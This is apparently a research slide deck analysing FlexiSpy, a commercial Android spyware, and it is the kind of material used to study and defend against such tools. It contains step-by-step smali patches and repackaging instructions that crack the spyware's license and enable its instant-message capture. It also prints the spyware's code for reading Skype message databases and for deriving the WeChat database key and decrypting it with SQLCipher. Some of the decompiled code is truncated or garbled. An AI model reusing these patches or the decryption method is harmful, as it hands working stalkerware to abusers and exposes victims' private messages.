183     invoke-static {v1, v2}, Lcom/vvt/lexer/FxLog;->d(Ljava/lang/String;Ljava/lang/String;)V
184     return-object v0
185
186     return-object v0
187 .end method
```

Patch it, it makes the return value is always `LicenseStatus;->ACTIVATED`.

```
.method public getLicenseStatus()Lcom/vvt/license/LicenseStatus;
    .locals 1
    .prologue
    .line 53
    iget-object v0, p0, Lcom/vvt/license/LicenseInfo;->mLicenseStatus:Lcom/vvt/license/LicenseStatus;
    return-object v0
.end method
```

```
928
929 .line 185
930 :cond_6
931 invoke-static {v1, v7}, Ljava/security/MessageDigest;->isEqual([B[B)Z
932
933 move-result v6
934 const/4 v6, 0x1
935
936
937 .line 187
```

Patch it.

```
928
929 .line 185
930 :cond_6
931 invoke-static {v1, v7}, Ljava/security/MessageDigest;->isEqual([B[B)Z
932
933 move-result v6
934
935 .line 187
```

## How to Bypass License

- Patch the method updateGui in the class com.phoenix.client.ActivationActivity.
  - The corresponding java code in the method updateGui () is shown below. This code is located in client.

```

4116 .line 582
4117 :cond_3
4118 iget v8, p0, Lcom/phoenix/client/ActivationActivity;->mLicenseStatusValue:I
4119
4120 if-eqz v8, :cond_a
4121
4122 .line 583
4123 const/4 v8, 0x0
4124
4125 iput-boolean v8, p0, Lcom/phoenix/client/ActivationActivity;->mIsActivated:Z
4126
4127 .line 588
4128 :goto_0
4129 iget-boolean v8, p0, Lcom/phoenix/client/ActivationActivity;->mIsActivated:Z
4130
4131 if-eqz v8, :cond_c
4132

```

Patch it.

```

4115
4116 .line 582
4117 :cond_3
4118 iget v8, p0, Lcom/phoenix/client/ActivationActivity;->mLicenseStatusValue:I
4119
4120 if-nez v8, :cond_a
4121
4122 .line 583
4123 const/4 v8, 0x0
4124
4125 iput-boolean v8, p0, Lcom/phoenix/client/ActivationActivity;->mIsActivated:Z
4126
4127 .line 588
4128 :goto_0
4129 iget-boolean v8, p0, Lcom/phoenix/client/ActivationActivity;->mIsActivated:Z
4130

```

```

v1.setFunction(RemoteFunction.GET_LICENSE_STATUS);
this.mLicenseStatusValue = arg14.execute(v1).intValue();
if(ActivationActivity.LOGV) {
    FxLog.v("ActivationActivity", "updateGui # LicenseStatusValue: %s", new Object[] {Integer.valueOf(this.mLicenseStatusValue)});
}

```

Due to bypass license, the value is always 1.

```

this.mIsActivated = this.mLicenseStatusValue == 0 ? false : true;
if(this.mIsActivated) {
    v1.setFunction(RemoteFunction.DEBUG_GET_ACTUAL_CONFIG_ID);
    this.mConfigId = arg14.execute(v1);
    if(ActivationActivity.LOGV) {
        FxLog.v("ActivationActivity", "updateGui # Get Config Id: %s", new Object[] {this.mConfigId});
    }
}
else {
    this.mConfigId = "Not configured";
    if(ActivationActivity.LOGV) {
        FxLog.v("ActivationActivity", "updateGui # Get Config Id: %s", new Object[] {this.mConfigId});
    }
}
}

```

Here modify 0 to 1, if not it will entry this branch to get config Id, it can cause a exception when get config Id from licenseInfo, because the licenseInfo is not stored in local storage by me.



# How to Bypass License

- Patch the method activate in the class com.vvt.appengine.exec.ExecActivate.

```
public RmtCtrlActivateOutputStatusMessage activate(RmtCtrlInputActivation arg10, LicenseManager arg11) {  
    if(ExecActivate.LOGV) {  
        FxLog.v("ExecActivate", "activate # ENTER ...");  
    }  
  
    String v0 = arg10.getActivationCode();  
    String v3 = arg10.getUrl();  
    this.mOutput = new RmtCtrlActivateOutputStatusMessage();  
    if(this.isProductAlreadyActivated(arg11)) {  
        this.mOutput.setSuccess(false);  
        this.mOutput.setMessage("Product is already activated. Your request will not be processed.");  
        RmtCtrlActivateOutputStatusMessage v4 = this.mOutput;  
        return v4;  
    }  
  
    this.mConditionVariable = new ConditionVariable(false);  
    ActivationListener v1 = this.getActivationListener();  
    try {  
        if(ExecActivate.LOGV) {  
            FxLog.v("ExecActivate", "activate # Activate product");  
        }  
  
        if(v3 == null || v3.trim().length() <= 0) {  
            this.mActivationManager.activate(v0, v1);  
        }  
        else {  
            this.mActivationManager.activate(v3, v0, v1);  
        }  
    }  
}
```

Patch it to make 'if' statement condition is false.

```
180  
181     input-object v4, p0, Lcom/vvt/appengine/exec/ExecActivate;->mOutput:Lcom/vvt/remotecontrol/output/RmtCtrlActivateOutputStatusMessage;  
182  
183     .line 40  
184     invoke-direct {p0, p2}, Lcom/vvt/appengine/exec/ExecActivate;->isProductAlreadyActivated(Lcom/vvt/license/LicenseManager;)Z  
185  
186     move-result v4  
187  
188     if-nez v4, :cond_1  
189  
190     .line 41
```

Patch it.

```
180  
181     input-object v4, p0, Lcom/vvt/appengine/exec/ExecActivate;->mOutput:Lcom/vvt/remotecontrol/output/RmtCtrlActivateOutputStatusMessage;  
182  
183     .line 40  
184     invoke-direct {p0, p2}, Lcom/vvt/appengine/exec/ExecActivate;->isProductAlreadyActivated(Lcom/vvt/license/LicenseManager;)Z  
185  
186     move-result v4  
187  
188     if-eqz v4, :cond_1  
189  
190     .line 41  
191     iget-object v4, p0, Lcom/vvt/appengine/exec/ExecActivate;->mOutput:Lcom/vvt/remotecontrol/output/RmtCtrlActivateOutputStatusMessage;  
192
```

## How to Bypass License

- Patch smali code in PrefIMCaptureSettings.smali for the class com.vvt.preference.PrefIMCaptureSettings. We patch the methods isXXXXXEnabled() to have their return value be true.

```
256     return v0
257 .end method
258
259 .method public isQQCaptureEnabled()Z
260     .locals 1
261
262     .prologue
263     .line 142
264     iget-boolean v0, p0, Lcom/vvt/preference/PrefIMCaptureSettings;:isQQCaptureEnabled:Z
265     const/4 v0, 0x1
266     return v0
267 .end method
268
269 .method public isSkypeCaptureEnabled()Z
270     .locals 1
271
272     .prologue
273     .line 74
274     iget-boolean v0, p0, Lcom/vvt/preference/PrefIMCaptureSettings;:isSkypeCaptureEnabled:Z
275     const/4 v0, 0x1
276     return v0
277 .end method
278
279 .method public isSnapchatCaptureEnabled()Z
280     .locals 1
281
282     .prologue
283     .line 138
284     iget-boolean v0, p0, Lcom/vvt/preference/PrefIMCaptureSettings;:isSnapchatCaptureEnabled:Z
285     const/4 v0, 0x1
286     return v0
287 .end method
288
289 .method public isTelegramCaptureEnabled()Z
290     .locals 1
291
292     .prologue
293     .line 110
294     iget-boolean v0, p0, Lcom/vvt/preference/PrefIMCaptureSettings;:isTelegramCaptureEnabled:Z
295     const/4 v0, 0x1
296     return v0
297 .end method
298
299 .method public isTelegramCaptureEnabled()Z
300     .locals 1
301
302     .prologue
303     .line 110
304     iget-boolean v0, p0, Lcom/vvt/preference/PrefIMCaptureSettings;:isTelegramCaptureEnabled:Z
305     const/4 v0, 0x1
306     return v0
307 .end method
```

Patch the functions isXXXXXEnabled() to make their return value is true.

## How to Bypass License

- Patch the method `managelmCapture` in the class `com.vvt.appengine.AppEngineHelper`. We only patch this method to enable IM capture, if you want to enable other spy functionality, you can find the related method in class `AppEngineHelper` and patch it. This method is used to manage IM capture, here we patch its local variables like `isXXXEnabled` and `isXXXSupported` as follows.

```

7272 .line 1375
7273 .restart local v36 # "isWhatsAppCaptureSupported":Z
7274 :cond 19
7275 const/16 v35, 0x1
7276
7277 goto/16 :goto_3
7278
7279 .line 1379
7280 .restart local v35 # "isWhatsAppCaptureEnabled":Z
7281 :cond 1a
7282 const/4 v8, 0x1
7283
7284 goto/16 :goto_4
7285
7286 .line 1380
7287 .restart local v8 # "isFacebookCaptureSupported":Z
7288 :cond 1b
7289 const/4 v7, 0x1

```

```

7272 .line 1375
7273 .restart local v37 # "isWhatsAppCaptureSupported":Z
7274 :cond 19
7275 const/16 v36, 0x0
7276
7277 goto/16 :goto_3
7278
7279 .line 1379
7280 .restart local v36 # "isWhatsAppCaptureEnabled":Z
7281 :cond 1a
7282 const/4 v9, 0x0
7283
7284 goto/16 :goto_4
7285
7286 .line 1380
7287 .restart local v9 # "isFacebookCaptureSupported":Z
7288 :cond 1b
7289 const/4 v8, 0x0

```

Patch it.

```

7455 .restart local v19 # "isQQCaptureSupported":Z
7456 :cond 33
7457 const/16 v20, 0x1
7458
7459 goto/16 :goto_1d
7460
7461 .line 1445
7462 .restart local v20 # "isQQMessengerCaptureEnabled":Z
7463 :cond 34
7464 const/4 v11, 0x1
7465
7466 goto/16 :goto_1e
7467
7468 .line 1446
7469 .restart local v11 # "isHikeCaptureSupported":Z
7470 :cond 35
7471 const/4 v12, 0x1

```

```

7455 .restart local v20 # "isQQCaptureSupported":Z
7456 :cond 33
7457 const/16 v21, 0x0
7458
7459 goto/16 :goto_1d
7460
7461 .line 1445
7462 .restart local v21 # "isQQMessengerCaptureEnabled":Z
7463 :cond 34
7464 const/4 v12, 0x0
7465
7466 goto/16 :goto_1e
7467
7468 .line 1446
7469 .restart local v12 # "isHikeCaptureSupported":Z
7470 :cond 35
7471 const/4 v13, 0x0

```

## How to Bypass License

- Patch the six parts of smali code, one thing to note is that only the 3<sup>rd</sup> patch is located in client (classes.dex in 5002\_-2.25.1\_green.APK), other five patches are located in code in server(/data/misc/adn/maind.zip). The following is the steps of repackaging app.
  - Patch the 3<sup>rd</sup> smali code in classes.dex in APK file 5002\_-2.25.1\_green.APK, repackage the APK with apktool, then sign and reinstall it.
  - Patch the other five smali codes in classes.dex in jar file maind.zip, compress it and push it into the folder /data/misc/adn/ on the device.
  - Reboot the device.
- After patching the six parts of smali codes, we can bypass the license. For now, the patched spy app has an ability of spying IM.

## Agenda

- Background
- First Installation of the Spy App
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## Two Spy cases on Skype and WeChat

- Spy on Skype for android
- Spy on WeChat for android



## Spy on Skype for android

- FlexiSpy uses FileObserver to monitor changes in the main.db file. Generally, in IN

```
SkypeObserverCenter.lastOwnerId = v1;
SkypeObserverCenter.this.mFxFireObserverWorker = new
SkypeObserverCenter.this.mFxFireObserverWorker.startW
... ..
```

- Once a change is detected in the main.db file, the application starts executing SQL query.

- SQL query of getting 1
  - SELECT DISTINCT m.id, conparticipant\_count, participant\_count, participants, displayname FROM Messages m LEFT JOIN Conversations conv ON m.convo\_id = conv.id LEFT JOIN (SELECT \* FROM Chats GROUP BY (conv\_dbid)) as c ON m.convo\_id = c.conv\_dbid WHERE m.id > ? AND m.id <= ? AND (m.type IN (61, 63, 68, 70, 201, 202, 253, 254, 255))ORDER BY m.id DESC*



```
public static ArrayList captureNewEvents(SQLiteDatabase arg15, long arg16, String arg18, long arg19, String arg21, ImParameters arg22, SQLiteDatabase arg23, boolean arg24, SQLiteDatabase arg25, String arg26) {
    if(SkypeCapturingHelper.LOGV) {
        FxLog.v("SkypeCapturingHelper", "captureNewEvents # ENTER... refId: " + arg16);
    }
    ArrayList v13 = new ArrayList();
    Cursor v3 = null;
    try {
        String v12 = SkypeCapturingHelper.getQueryStatement();
        if(SkypeCapturingHelper.LOGV) {
            FxLog.v("SkypeCapturingHelper", "captureNewEvents # query: " + v12);
        }
        v3 = arg15.rawQuery(v12, new String[] {arg18 + "", arg19 + ""});
        if(v3 != null) {
            v13 = SkypeCapturingHelper.keepConversation(arg15, v3, arg18, arg21, arg22, arg23, arg24, arg25, arg26);
        }
        else if(SkypeCapturingHelper.LOGD) {
            FxLog.d("SkypeCapturingHelper", "captureNewEvents # cursor is null");
        }
    } catch(Throwable v2) {
        label_79:
        if(v3 != null) {
            v3.close();
        }
        throw v2;
    } catch(Exception v11) {
        try {
            if(SkypeCapturingHelper.LOGE) {
                FxLog.e("SkypeCapturingHelper", "captureNewEvents err ", ((Throwable)v11));
            }
        } catch(Throwable v2) {
            goto label_79;
        }
        if(v3 == null) {
            goto label_58;
        }
        goto label_57;
    }
    if(v3 != null) {
        label_57:
        v3.close();
    }
    label_58:
    if(SkypeCapturingHelper.LOGV) {
        FxLog.v("SkypeCapturingHelper", "captureNewEvents # EXIT...");
    }
    return v13;
}
```

captureNewEvents # ENTER... refId: 1592

query: SELECT DISTINCT m.id, convo\_id, chatmsg\_status, chatmsg\_type, m.type, body\_xml, m.timestamp, author, from\_dispname, participant\_count, participants, displayname FROM Messages m LEFT JOIN Conversations conv ON m.convo\_id = conv.id LEFT JOIN (SELECT \* FROM Chats GROUP BY (conv\_dbid)) as c ON m.convo\_id = c.conv\_dbid WHERE m.id > ? AND m.id <= ? AND (m.type IN (61, 63, 68, 70, 201, 202, 253, 254, 255))ORDER BY m.id DESC

## Spy on Skype for android

- Copy the database file main.db in the folder /data/data/com.skype.raider/files/kevinlu0306/ to local disk and open it using SQLite Expert Personal tool. And execute the above SQL query, the result of query is the record that includes a tested chat message sent by me. The record includes chat message content, timestamp, chat message type, message sender, message participants, etc. In this test case, the chat message sent is “Test hahahaha”.



## Spy on Skype for android

- The method keepConversation()

```
private static ArrayList keepConversation(SQLiteDatabase arg53, Cursor arg54, String arg55, String arg56, ImParameters arg57, SQLiteDatabase arg58, boolean arg59, SQLiteDatabase arg60, String arg61) {
    ReqResult v43;
    Direction v33;
    if (SkypeCapturingHelper.LOGV) {
        FxLog.v("SkypeCapturingHelper", "keepConversation # ENTER...");
    }

    ArrayList v47 = new ArrayList();
    int v49 = 0;
    SimpleDateFormat v31 = new SimpleDateFormat("dd/MM/yy HH:mm:ss");
    if (arg54.moveToLast()) {
        if (!SkypeCapturingHelper.LOGV) {
            goto label_38;
        }

        FxLog.v("SkypeCapturingHelper", "keepConversation # ENTER While loop...");
        do {
            label_38:
            OwnerInfo v36 = SkypeCapturingHelper.getOwnerInfo(arg53, arg55, arg56);
            SkypeMessageData v7 = new SkypeMessageData();
            SenderInfo v45 = new SenderInfo();
            ConversationInfo v29 = new ConversationInfo();
            int v13 = arg54.getInt(arg54.getColumnIndex("id"));
            String v8 = arg54.getString(arg54.getColumnIndex("body_xml"));
            if (SkypeCapturingHelper.LOGV) {
                FxLog.v("SkypeCapturingHelper", "keepConversation # text (BODY_XML) : " + v8);
            }
            // v8="Test hahahha", it's the chat message tested.

            String v28 = arg54.getString(arg54.getColumnIndex("convo_id"));
            String v30 = arg54.getString(arg54.getColumnIndex("displayname"));
            int v26 = !arg54.isNull(arg54.getColumnIndex("chatmsg_type")) ? arg54.getInt(arg54.getColumnIndex("chatmsg_type")) : 0;
            if (v26 != 2 && v26 != 6 && v26 != 5) {
                String v44 = arg54.getString(arg54.getColumnIndex("author"));
                String v46 = arg54.getString(arg54.getColumnIndex("from_dispname"));
                int v52 = arg54.getInt(arg54.getColumnIndex("type"));
                long v14 = arg54.getLong(arg54.getColumnIndex("timestamp"));
                long v50 = v14 * 1000;
                String v32 = v31.format(new Date(v50));
                String v39 = arg54.getString(arg54.getColumnIndex("participants"));
                if (SkypeCapturingHelper.LOGV) {
                    FxLog.v("SkypeCapturingHelper", "keepConversation # chatMsgType: " + v26 + " type: " + v52 + " text: " + v8);
                }
            }
        } while (true);
    }
}
```

- The log file related to chat message is shown below.

```
V/SkypeCapturingHelper( 1308): (tid:78|SkypeCaptureThread) keepConversation # text (BODY_XML) : Test hahahha
V/SkypeCapturingHelper( 1308): (tid:78|SkypeCaptureThread) keepConversation # chatMsgType: 3 type: 61 text: Test hahahha
```

## Spy on Skype for android

- The spyware could create a directory .skp\_store in path /data/misc/adn/, it includes two sub-directories owner\_profiles and user\_profiles. The directory owner\_profiles stores the profile files(image file format) of owner, and the directory user\_profiles stores the profile files(image file format) of user(contacts).

```
root@hammerhead:/data/misc/adn/.skp_store/owner_profiles # ls -ls
total 808
-rw----- root    root      3050 2017-05-16 23:38 owner_1494977938817
-rw----- root    root      3050 2017-05-16 23:38 owner_1494977938845
-rw----- root    root      3050 2017-05-16 23:38 owner_1494977938862
-rw----- root    root      3050 2017-05-16 23:38 owner_1494977938899
-rw----- root    root      3050 2017-05-16 23:38 owner_1494977938923
-rw----- root    root      3050 2017-05-16 23:38 owner_1494977938961
-rw----- root    root      3050 2017-05-16 23:38 owner_1494977938978
-rw----- root    root      3050 2017-05-16 23:38 owner_1494977939019
```

```
root@hammerhead:/data/misc/adn/.skp_store/user_profiles # ls -ls
total 708
-rw----- root    root      1622 2017-05-16 23:38 user_profile_1494977939772
-rw----- root    root      1622 2017-05-16 23:38 user_profile_1494977939788
-rw----- root    root      1622 2017-05-16 23:38 user_profile_1494977939823
-rw----- root    root      1622 2017-05-16 23:38 user_profile_1494977939844
-rw----- root    root      1622 2017-05-16 23:38 user_profile_1494977939883
-rw----- root    root      1622 2017-05-16 23:38 user_profile_1494977939927
-rw----- root    root      1622 2017-05-16 23:38 user_profile_1494977939952
-rw----- root    root      1622 2017-05-16 23:38 user_profile_1494977939988
-rw----- root    root      1622 2017-05-16 23:39 user_profile_1494977940020
```

- The log of saving owner profiles and user profiles is shown below.

```
V/FileUtil( 1308): (tid:78|SkypeCaptureThread) saveFile # ENTER ...
V/FileUtil( 1308): (tid:78|SkypeCaptureThread) saveFile # path: /data/misc/adn/.skp_store/owner_profiles/owner_1494978633868
V/FileUtil( 1308): (tid:78|SkypeCaptureThread) saveFile # EXIT ...

V/FileUtil( 1308): (tid:78|SkypeCaptureThread) saveFile # ENTER ...
V/FileUtil( 1308): (tid:78|SkypeCaptureThread) saveFile # path: /data/misc/adn/.skp_store/user_profiles/user_profile_1494978633885
V/FileUtil( 1308): (tid:78|SkypeCaptureThread) saveFile # EXIT ...
```





## Two Spy cases on Skype and WeChat

- Spy on Skype for android
- Spy on WeChat for android

## Spy on WeChat for android

- There's a minor difference between spying Skype and spying Wechat. For Skype, its database file is not encrypted, FlexiSpy can directly monitor the database and execute SQL query to get the chat messages. But for Wechat, its database file is encrypted, FlexiSpy cannot directly execute SQL query to get the chat messages, so it's required to decrypt the database file before executing SQL query.



## Spy on WeChat for android

- Like spying Skype, Flexispy monitors the database file in Wechat using FileObserver when spying Wechat. Additionally, it also monitors shared preference file system\_config\_prefs.xml.

```
private void startSystemConfigPrefFileObserver() {  
    if (this.mSystemConfigPrefFileObserver == null) {  
        if (WeChatObserver.LOGV) {  
            FXLog.v("WeChatObserver", "startDatabaseMonitorWithDatabasePath # Start database (%s) monitoring", new Object[]{"data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml"});  
        }  
  
        this.mSystemConfigPrefFileObserver = new SystemConfigPrefFileObserver(this, "data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml");  
        this.mSystemConfigPrefFileObserver.startWatching();  
    }  
    else {  
        if (!WeChatObserver.LOGS) {  
            return;  
        }  
        FXLog.e("WeChatObserver", "startDatabaseMonitorWithDatabasePath # Already running");  
    }  
}
```

- In the class com.vvt.capture.wechat.WeChatUtil, the method copyDatabaseToLocalFolderAndDecrypt is used to copy database file from private folder of Wechat to local folder, get the decryption key and then decrypt the database file that contains Wechat chat messages.

## Spy on WeChat for android

- Find the full path of database. The folder name of current owner is a MD5 hash code ed539505124b60982bc82d875e61a2c0 that is calculated from md5("mm1028071100"). So the full path of the database file is /data/data/com.tencent.mm/MicroMsg/ed539505124b60982bc82d875e61a2c0/EnMicroMsg.db. The database file EnMicroMsg.db is the message database of Wechat and encrypted with AES algorithm.

```
public static String getCurrentOwner() {  
    if(WeChatCapturingHelper.LOGV) {  
        FxLog.v("WeChatCapturingHelper", "getCurrentOwner # ENTER...");  
    }  
  
    String v0 = null;  
    String v2 = WeChatUtil.getUin();  
    if(!FxStringUtil.isEmptyOrNull(v2)) {  
        try {  
            v0 = WeChatCapturingHelper.md5("mm" + v2);  
            if(!WeChatCapturingHelper.LOGV) {  
                goto label_25;  
            }  
            FxLog.v("WeChatCapturingHelper", "getCurrentOwner # currentOwner : %s", new Object[]{v0});  
        }  
        catch(Exception v1) {  
            if(!WeChatCapturingHelper.LOGE) {  
                goto label_25;  
            }  
        }  
    }  
}
```

Get uin from /data/data/com.tencent.mm/shared\_prefs/system\_config\_prefs.xml, here uin is "1028071100".

v0 = md5("mm"+"1028071100") = "ed539505124b60982bc82d875e61a2c0"



## Spy on WeChat for android

- How to decrypt message database EnMicroMsg.db?

```
label_52:
String v2 = LimitedWeChatUtil.getBusyboxPath(arg26);
String v13 = WeChatUtil.copyDatabaseToLocalFolder(v14, arg27, v2, arg29);
String v20 = Path.combine(arg26, "panzer");
if(!ShellUtil.isFileExisted(v20)) {
    if(WeChatUtil.LOGV) {
        FxLog.e("WeChatUtil", "copyDatabaseToLocalFolderAndDecrypt # %s does not exists...", new Object[]{v20});
    }
    return v5;
}
```

```
if(FxStringUtil.isEmptyOrNull(v13)) {
    goto label_196;
}
```

```
String v4 = WeChatUtil.getDecryptKey(arg28, v2);
if(FxStringUtil.isEmptyOrNull(v4)) {
    goto label_196;
}
```

```
try {
    v19 = Shell.getRootShell();
    v19.exec(String.format("cd %s", v14));
    v19.exec(String.format("rm %s", v6));
    v19.exec(String.format("chmod 777 %s", v20));
    ArrayList v17 = new ArrayList();
    v17.add(String.format("%s %s", v20, v13));
    v17.add(String.format("PRAGMA key = '%s'", v4));
    v17.add("PRAGMA cipher_use_hmac = OFF;");
    v17.add("PRAGMA cipher_page_size = 1024;");
    v17.add("PRAGMA kdf_iter = 4000;");
    v17.add("ATTACH DATABASE \"decrypted database.db\" AS decrypted_database KEY \"\";");
    v17.add("SELECT sqlcipher_export(\"decrypted_database\");");
    v17.add("DETACH DATABASE decrypted_database;");
    Iterator v11 = v17.iterator();
    while(v11.hasNext()) {
        String v15 = v19.exec(v11.next());
        if(!WeChatUtil.LOGV) {
            continue;
        }
        FxLog.v("WeChatUtil", "copyDatabaseToLocalFolderAndDecrypt # out: " + v15);
    }
    v19.exec(".exit");
}
```

```
v17.add(String.format("%s %s", v20, v13));
```

```
v17.add(String.format("PRAGMA key = '%s'", v4));
v17.add("PRAGMA cipher_use_hmac = OFF;");
v17.add("PRAGMA cipher_page_size = 1024;");
v17.add("PRAGMA kdf_iter = 4000;");
v17.add("ATTACH DATABASE \"decrypted database.db\" AS decrypted_database KEY \"\";");
v17.add("SELECT sqlcipher_export(\"decrypted_database\");");
v17.add("DETACH DATABASE decrypted_database;");
```

```
Iterator v11 = v17.iterator();
while(v11.hasNext()) {
    String v15 = v19.exec(v11.next());
    if(!WeChatUtil.LOGV) {
        continue;
    }
    FxLog.v("WeChatUtil", "copyDatabaseToLocalFolderAndDecrypt # out: " + v15);
}
```

```
v19.exec(".exit");
```

```
private static String getDecryptKey(String arg9, String arg10) {
    String v3 = WeChatUtil.getUin();
    String v1 = null;
    if(!FxStringUtil.isEmptyOrNull(v3)) {
        String v0 = String.format("%s echo -n %s | %s md5sum | %s cut -c -7", arg10, arg9, v3, arg10, arg10);
        if(WeChatUtil.LOGV) {
            FxLog.v("WeChatUtil", "getDecryptKey # command %s", new Object[]{v0});
        }
    }
}
```

```
/data/misc/adn/busybox echo -n 1028071100 | /data/misc/adn/busybox md5sum | /data/misc/adn/busybox cut -c -7
```

## Spy on Wechat for android

- The algorithm of getting decryption key is shown below.

```
Decryption KEY = MD5(IMEI + UNI)[0:7]  
Md5 = 5f834bde5191807f2812ff49eba5fe36  
KEY = 5f834bd
```


- After getting the decryption key, Flexispy uses SQLCipher to decrypt the database file EnMicroMsg.db. The binary file /data/misc/adn/panzer is SQLCipher version 3.11.0 which is an open source extension to SQLite that provides transparent 256-bit AES encryption of database files. The SQL query of decrypting database in SQLCipher is shown below.

```
PRAGMA key = '5f834bd';  
PRAGMA cipher_use_hmac = OFF;  
PRAGMA cipher_page_size = 1024;  
PRAGMA kdf_iter = 4000;  
ATTACH DATABASE "decrypted_database.db" AS decrypted_database KEY "";  
SELECT sqlcipher_export("decrypted_database");  
DETACH DATABASE decrypted_database;
```

- The decrypted database file decrypted\_database.db is located in folder /data/misc/adn/com.tencent.mm/.

## Spy on WeChat for android

- The decrypted database of Wechat in SQLite Expert Personal tool.



- Next, the program could start reading the decrypted database decrypted\_database.db, and execute SQL query to get chat message record.

```
public static ArrayList captureNewEvents(String arg9, long arg10, long arg12, SQLiteDatabase arg14, ImParameters arg15, SQLiteDatabase arg16, String arg17) {
    if(WeChatCapturingHelper.LOGV) {
        FxLog.v("WeChatCapturingHelper", "captureNewEvents # ENTER... refId: " + arg10);
    }
    ArrayList v7 = new ArrayList();
    Cursor v2 = null;
    if(arg14 != null) {
        try {
            v2 = arg14.rawQuery(WeChatCapturingHelper.getQueryStatement(), new String[] {arg10 + "", arg12 + ""});
            if(v2 != null) {
                v7 = WeChatCapturingHelper.keepConversation(arg14, arg9, v2, arg15, arg16, arg17);
            }
        } else {
            goto label_49;
        }
    }
}
```

execute SQL sentence to get chat message record.

SELECT msgId, m.msgSvrId, createTime, talker, m.content  
ON m.talker = c.username LEFT JOIN chatroom ON  
chatroomname = m.talker WHERE m.type  
IN (1, 43, 48, 3, 34, 62) AND msgId > ? AND msgId <= ?  
ORDER BY msgId DESC

## Spy on WeChat for android

- The method keepConversation(): Get the chat message content.

```
private static ArrayList<WeChatData> keepConversation(SQLiteDatabase db, String writablePath, Cursor cursor, ImParameters imParameters, SQLiteDatabase avatarDatabase, String currentOwner) {
    ArrayList<WeChatData> dataList = new ArrayList();
    Direction direction = Direction.UNKNOWN;
    String senderId = null;
    SimpleDateFormat simpleDateFormat = new SimpleDateFormat("dd/MM/yy HH:mm:ss");
    LocationInfo locationInfo = null;
    if (cursor.moveToLast()) {
        if (LOGV) {
            FxLog.m82v(TAG, "keepConversation # ENTER While loop...");
        }
        do {
            ArrayList<String> participantArray;
            Iterator i$;
            OwnerInfo ownerInfo = getOwnerInfo(db, writablePath, avatarDatabase, currentOwner, imParameters.getAppLinuxUserId());
            WeChatData weChatData = new WeChatData();
            SenderInfo senderInfo = new SenderInfo();
            ConversationInfo conversationInfo = new ConversationInfo();
            ArrayList<Attachment> attachments = new ArrayList();
            boolean canAdd = true;
            int isSend = cursor.getInt(cursor.getColumnIndex(COLUMN_ISSEND));
            if (LOGV) {
                FxLog.m82v(TAG, "keepConversation # isSend:" + isSend);
            }
            if (isSend == 1) {
                direction = Direction.OUT;
            } else {
                direction = Direction.IN;
            }
            String text = cursor.getString(cursor.getColumnIndex("content"));
            String conversationId = cursor.getString(cursor.getColumnIndex(COLUMN_TALKER));
            String conversationName = cursor.getString(cursor.getColumnIndex(COLUMN_NICKNAME));
            int msgType = cursor.getInt(cursor.getColumnIndex("type"));
            long time = cursor.getLong(cursor.getColumnIndex(COLUMN_CREATE_TIME));
            long msgSvrId = cursor.getLong(cursor.getColumnIndex(COLUMN_MSGSVRID));
            String dateTime = simpleDateFormat.format(new Date(time));
            String memberList = cursor.getString(cursor.getColumnIndex(COLUMN_MEMBER_LIST));

            public String toString() {
                StringBuilder v2 = new StringBuilder();
                v2.append("\ntextRepresentation: " + this.textRepresentation);
                v2.append("\ntext: " + this.data);
                v2.append("\ndateTime: " + this.dateTime);
                v2.append("\nsender: " + this.senderInfo.getSenderUid() + "|" + this.senderInfo.getSenderName());
                v2.append("\nconversation: " + this.conversationInfo.toString());
                Iterator v0 = this.participants.iterator();
                while (v0.hasNext()) {
                    v2.append("\nparticipant: " + v0.next().toString());
                }

                if (this.shareLocationData != null && this.shareLocationData.getLatitude() != 0) {
                    v2.append("\nlocation: " + this.shareLocationData.getLatitude() + "," + this.shareLocationData.getLongitude() + " name: " + this.shareLocationData.getPlaceName());
                }

                if (this.attachments != null && this.attachments.size() > 0 && this.attachments.get(0) != null) {
                    v2.append("\nattachments: " + this.attachments.get(0).getAttachmentName() + " " + this.attachments.get(0).getAttachmentPath());
                }

                v2.append("\nownerData: " + this.ownerData.toString());
                return v2.toString();
            }
        } while (true);
    }
}
```

Get ownerUid[xxxxxx] and ownerName

It's a customized class that formats data of chat.

Get the chat message content.

- The method toString() in the class WeChatData, which includes chat message text, timestamp, sender, participant(receiver), etc.

## Spy on WeChat for android

- We can see the chat message text is “\$\$\$ testwechat” tested by me in the log file .

```
V/WeChatCapturingHelper( 1308): (tid:83|WeChatCaptureThread) keepConversation # msgType: 1, text: $$$ testwechat, msgSvrId: 4142047058102555392, isGroupChat: false
```

```
I/WeChatCapturingHelper( 1308): (tid:83|WeChatCaptureThread) Adding WeChatData:
```

```
I/WeChatCapturingHelper( 1308): textRepresentation: 1
```

```
I/WeChatCapturingHelper( 1308): text: $$$ testwechat
```

→ The chat message sent by owner.

```
I/WeChatCapturingHelper( 1308): dateTime: 17/05/17 06:35:35
```

```
I/WeChatCapturingHelper( 1308): sender: [REDACTED]
```

→ Receiver to the chat message.


```
I/WeChatCapturingHelper( 1308): conversation: ConversationInfo { Name: 宋, Id: wxid_6351103510513, PicturePath: null, Status: null
```

```
I/WeChatCapturingHelper( 1308): participant: Participant { Name: 宋, Uid: wxid_6351103510513, Contact: null, Status: null, PicPath: }
```

```
I/WeChatCapturingHelper( 1308): ownerData: OwnerInfo { Name: [REDACTED], Uid: [REDACTED], Contact: null, ProfilePicPath: , Status: nulltoken: null }
```

## Spy on WeChat for android

- The following is the list of app spy supported by FlexiSpy for
- We can see the IM apps supported includes Facebook, Hangouts, Skype, Snapchat, Telegram, Tinder, Viber, WhatsApp, WeChat software. Besides, FlexiSpy for android can spy on camera, calendar, etc.



capture  
audio  
browserurl  
calendar  
callog  
callrecorder  
camera  
chrome  
core  
email  
facebook  
hangouts  
hike  
instagram  
kik  
line  
location  
mms  
password  
qq  
simchange  
skype  
sms  
snapchat  
telegram  
tinder  
viber  
wa  
wallpaper  
wechat  
yahoo

eg, QQ,  
popular IM  
io, chrome,

## Agenda

- Background
- First Installation of the Spy App
- Startup Script
- Workflow of Product Activation
- How to Bypass License
- Two Spy cases on Skype and WeChat
- Summary
- Reference

## Summary

- FlexiSpy for android is all-in-one spyware and designed sophisticatedly and very complicated. The spy app supports full IM tracking, VoIP call recording& live call interception, it also can spy on messages, GPS, Multimedia, Internet, Applications, etc.
- In order to support all spy features, it's required that the android device has been rooted.
- The spy app setups the startup script. When the device is rebooted, the startup script could be executed to start some daemon processes.
